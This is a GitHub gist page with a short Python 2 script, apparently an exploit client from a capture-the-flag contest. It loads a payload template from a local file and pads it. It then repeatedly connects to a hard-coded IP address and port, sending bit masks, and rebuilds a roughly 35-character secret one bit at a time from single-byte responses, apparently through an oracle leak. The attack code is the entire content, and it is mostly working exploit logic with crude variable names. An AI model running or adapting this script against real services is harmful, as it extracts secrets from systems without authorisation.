Created
May 7, 2018 23:46
-
-
Save CreateRemoteThread/6ff44e6dc52be14bb270fd19b5f1d22b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket | |
import time | |
f = open("examples/fuck.dog") | |
data = f.read() | |
f.close() | |
data += " " * (2048 - len(data)) | |
def makeData(i): | |
d = data.replace("%d",str(i)) | |
return d + (" " * (2048 - len(d))) | |
HOST = "149.28.38.154" | |
PORT = 6808 | |
s = None | |
x = "" | |
for l in range(1,36): | |
thisChar = "" | |
for i in range(0,8): | |
fuck = False | |
while fuck == False: | |
try: | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((HOST, PORT)) | |
s.send(makeData( (1 << (i + l * 8 ) ) )) | |
thisChar += s.recv(1) | |
print thisChar | |
s.close() | |
fuck = True | |
except: | |
print "SLEEPING" | |
time.sleep(5) | |
fuck = False | |
x += chr(int(thisChar[::-1],2)) | |
print x[::-1] | |
time.sleep(5) | |
print x[::-1] | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment